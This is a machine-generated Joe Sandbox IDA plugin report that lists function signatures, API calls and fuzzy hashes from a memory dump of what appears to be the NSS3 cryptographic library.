Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 769ed9432f1c2868021677710bf4cf669d7881b244f283f69b546925b6e7906e
Instruction ID: fc967b5b236d93c30c442174c8fe784001c0d1fa204a941f6ae7195b71b6ec9f
Opcode Fuzzy Hash: 769ed9432f1c2868021677710bf4cf669d7881b244f283f69b546925b6e7906e
Instruction Fuzzy Hash: 7631AFB1A012569FEB08CF65C881ABFBBF9EF49248F14442DD905E7701FB319905CBA1

Function 6CC94F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CC94F5D
free.MOZGLUE(?), ref: 6CC94F74
free.MOZGLUE(?), ref: 6CC94F82
GetLastError.KERNEL32 ref: 6CC94F90

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 661e51b0c2c11c247464216235b4fc86dd9ed443ce4a26a91f3d5954ecd252bd
Instruction ID: 553a763ae66a5c91a7c58011433adf1e43825870522329ec384533f5b9dbb3cd
Opcode Fuzzy Hash: 661e51b0c2c11c247464216235b4fc86dd9ed443ce4a26a91f3d5954ecd252bd
Instruction Fuzzy Hash: BC31F875A0061A5BEB01CB69DC81BDFB3B8FF45398F044229EC26A7781FB34E905C691

Function 6CBF6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CBF6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF6E57

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CBF6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CBF6EAA

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 4d3a0dfd4357511bc5a88b698235b425fde2c50c47e98d2616bd3bef854eb164
Instruction ID: 30c33b8c33f597e485dc70b67de76702c63d428bd4d9ee33942b5aca7a68b075
Opcode Fuzzy Hash: 4d3a0dfd4357511bc5a88b698235b425fde2c50c47e98d2616bd3bef854eb164
Instruction Fuzzy Hash: DC31C1336105A2EEDB145F34DD043A6B7A4EB1531AF10463CDCA9D6B80EB31A95ECF82

Function 6CBDDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CBDDDB1,?,00000000), ref: 6CBDDDF4

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CBDDDB1,?,00000000), ref: 6CBDDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CBDDDB1,?,00000000), ref: 6CBDDE17

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CBDDE80

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: d2a089e21716306a16813af23f7addb176ee71dd43d06ae745ae147458b9aceb
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: AC31B8B19017839BEB00CF66E880656F7E4FFA5358B268229D85D87B01E770F5A4CF91

Function 6CBCFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CBA5ADC,?,00000000,00000001,?,?,00000000,?,6CB9BA55,?,?), ref: 6CBCFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBCFE5F
PR_Unlock.NSS3(78831D74), ref: 6CBCFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CBCFED6

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: cf468378fdd2ee8ca3a8e0667e92c4f23f7e6a369c69e2b7fdd841cb8fbf30c6
Instruction ID: bd9dc1977fbfa659668d81b7c6109a7b2c5ecac66f2685e94e25836cb3d71ceb
Opcode Fuzzy Hash: cf468378fdd2ee8ca3a8e0667e92c4f23f7e6a369c69e2b7fdd841cb8fbf30c6
Instruction Fuzzy Hash: 6B213131F00666ABDB00AF74E80479A73B8FF05359F0401A5DD04A7E42E730E964CBD2

Function 6CBD3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CBD3440: PK11_GetAllTokens.NSS3 ref: 6CBD3481
Part of subcall function 6CBD3440: PR_SetError.NSS3(00000000,00000000), ref: 6CBD34A3
Part of subcall function 6CBD3440: TlsGetValue.KERNEL32 ref: 6CBD352E
Part of subcall function 6CBD3440: EnterCriticalSection.KERNEL32(?), ref: 6CBD3542
Part of subcall function 6CBD3440: PR_Unlock.NSS3(?), ref: 6CBD355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CBBE80C,00000000,00000000,?,?,?,?,6CBC8C5B,-00000001), ref: 6CBD3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CBBE80C,00000000,00000000,?,?,?,?,6CBC8C5B,-00000001), ref: 6CBD3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CBBE80C,00000000,00000000,?,?,?,?,6CBC8C5B,-00000001), ref: 6CBD3FFE
PR_SetError.NSS3 ref: 6CBD401A

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 1e74150b503ce00fe538e835a487bf1f5743eb2656e18ede3d1801f7ec6ecf6c
Instruction ID: e8d03a226404df07af636c16d48e9f73dce5f7d23e7a619088aa4d17edb160c4
Opcode Fuzzy Hash: 1e74150b503ce00fe538e835a487bf1f5743eb2656e18ede3d1801f7ec6ecf6c
Instruction Fuzzy Hash: 4B316070904B448FDB10AF69D48466EBBF4FF89315F12592ED88987700EB34E885CB92

Function 6CBA98A0 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 6CBD8800: TlsGetValue.KERNEL32(?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD8821
Part of subcall function 6CBD8800: TlsGetValue.KERNEL32(?,?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD883D
Part of subcall function 6CBD8800: EnterCriticalSection.KERNEL32(?,?,?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD8856
Part of subcall function 6CBD8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CBD8887
Part of subcall function 6CBD8800: PR_Unlock.NSS3(?,?,?,?,6CBE085A,00000000,?,6CB88369,?), ref: 6CBD8899

TlsGetValue.KERNEL32 ref: 6CBA98F5
EnterCriticalSection.KERNEL32 ref: 6CBA990E
PR_Unlock.NSS3 ref: 6CBA9942
PR_SetError.NSS3 ref: 6CBA995E

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$CondErrorWait
String ID:
API String ID: 1779658291-0
Opcode ID: 6d9163a89dfe2c85a41b6b3001840b0cb9a6446d7f7e53ceda433e47d381893e
Instruction ID: da57ef8261bf16cdb001cb35d047fe60ecb8dc2bc4e7fabd07cdbd518d162e07
Opcode Fuzzy Hash: 6d9163a89dfe2c85a41b6b3001840b0cb9a6446d7f7e53ceda433e47d381893e
Instruction Fuzzy Hash: DF313AB0E096459FDB40EFA9C08466DBBF4FF09305F014569D8889B711EB36E886CB92

Function 6CBC4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CBCB60F,00000000), ref: 6CBC5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CBCB60F,00000000), ref: 6CBC501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CBCB60F,00000000), ref: 6CBC504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CBCB60F,00000000), ref: 6CBC5064

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 05b13f6a9884d53f5643840e22f1a65f52b8fd63ae3d2cafbd1828b3d1fb2882
Instruction ID: 2f63ee2274ecdc10caa269ddd2a13cdf4ad851c83323326697718d04979fd68c
Opcode Fuzzy Hash: 05b13f6a9884d53f5643840e22f1a65f52b8fd63ae3d2cafbd1828b3d1fb2882
Instruction Fuzzy Hash: E23139B4A05A46CFDB00EF68C48456ABBF8FF09304F108569D859D7701EB30E994CBD2

Function 6CB81EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CB84C64,?,-00000004), ref: 6CB81EE2

Part of subcall function 6CBE1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CB81D97,?,?), ref: 6CBE1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CB84C64,?,-00000004), ref: 6CB81F13
DER_DecodeTimeChoice_Util.NSS3(?,6CB84CA0,?,?,?,?,?,?,00000000,00000000,?,6CB84C64,?,-00000004), ref: 6CB81F37
DER_DecodeTimeChoice_Util.NSS3(?,6CB84C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB84C64,?,-00000004), ref: 6CB81F53

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: 24cc74527289c0d57111d40b39e598f282479234ca38bc90eb4293d36bce1695
Instruction ID: 39b76a1829937a2bffef9096f70dbd5edcf2019ff256015b46df052ee06e8206
Opcode Fuzzy Hash: 24cc74527289c0d57111d40b39e598f282479234ca38bc90eb4293d36bce1695
Instruction Fuzzy Hash: 20218471506356AFC700CF29DD00A9FB7E9EB8869AF184929E854C3A40F730E559CBE3

Function 6CBE9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CBEA71A,FFFFFFFF,?,?), ref: 6CBE9FAB

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CBEA71A,6CBEA71A,00000000), ref: 6CBE9FD9

Part of subcall function 6CBE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE136A
Part of subcall function 6CBE1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE137E
Part of subcall function 6CBE1340: PL_ArenaGrow.NSS3(?,6CB7F599,?,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?), ref: 6CBE13CF
Part of subcall function 6CBE1340: PR_Unlock.NSS3(?,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CBEA71A,6CBEA71A,00000000), ref: 6CBEA009
PR_SetError.NSS3(FFFFE013,00000000,6CBEA71A,6CBEA71A,00000000), ref: 6CBEA045

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: b5b98d9189f3a9712374243240baeca6f5dfed14cbec84d68fb174b0a26766c9
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: DD2198B46002469BF7009F15DC50F6ABBADFF4979CF148128D81987782E775D814CF91

Function 6CBF2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBF2E08

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CBF2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CBF2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBF2E95

Part of subcall function 6CBE1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB888A4,00000000,00000000), ref: 6CBE1228
Part of subcall function 6CBE1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CBE1238
Part of subcall function 6CBE1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CB888A4,00000000,00000000), ref: 6CBE124B
Part of subcall function 6CBE1200: PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0,00000000,00000000,00000000,?,6CB888A4,00000000,00000000), ref: 6CBE125D
Part of subcall function 6CBE1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CBE126F
Part of subcall function 6CBE1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CBE1280
Part of subcall function 6CBE1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CBE128E
Part of subcall function 6CBE1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CBE129A
Part of subcall function 6CBE1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CBE12A1

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a2bbb6b13b21c993d90c444d4b4eb1c92e2b5652af182f78b64924cc67e4b143
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: E52104B1D003C14BEB00CF549D44BAE3764AF9574CF350269DD285B742F7B1E6998293

Function 6CBAACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CBAACC2

Part of subcall function 6CB82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB82F0A
Part of subcall function 6CB82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB82F1D

Part of subcall function 6CB82AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CB80A1B,00000000), ref: 6CB82AF0
Part of subcall function 6CB82AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB82B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CBAAD5E

Part of subcall function 6CBC57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CB8B41E,00000000,00000000,?,00000000,?,6CB8B41E,00000000,00000000,00000001,?), ref: 6CBC57E0
Part of subcall function 6CBC57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CBC5843

CERT_DestroyCertList.NSS3(?), ref: 6CBAAD36

Part of subcall function 6CB82F50: CERT_DestroyCertificate.NSS3(?), ref: 6CB82F65
Part of subcall function 6CB82F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB82F83

free.MOZGLUE(?), ref: 6CBAAD4F

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 2293cac1dbbc8527bdd7313120561bc515799c59785df38e6f8e87da281bdb9d
Instruction ID: dce0ab289563cf51c484e59be82645fe5ae6b130123dc9d73967cc26e264bb3b
Opcode Fuzzy Hash: 2293cac1dbbc8527bdd7313120561bc515799c59785df38e6f8e87da281bdb9d
Instruction Fuzzy Hash: F12193B1D012549BEB10DFA4D9055EEB7B4EF05218F454069D885BB600FB31AA5ACFB2

Function 6CBD3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBD3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CBD3CAE
PR_Unlock.NSS3(?), ref: 6CBD3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CBD3D02

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
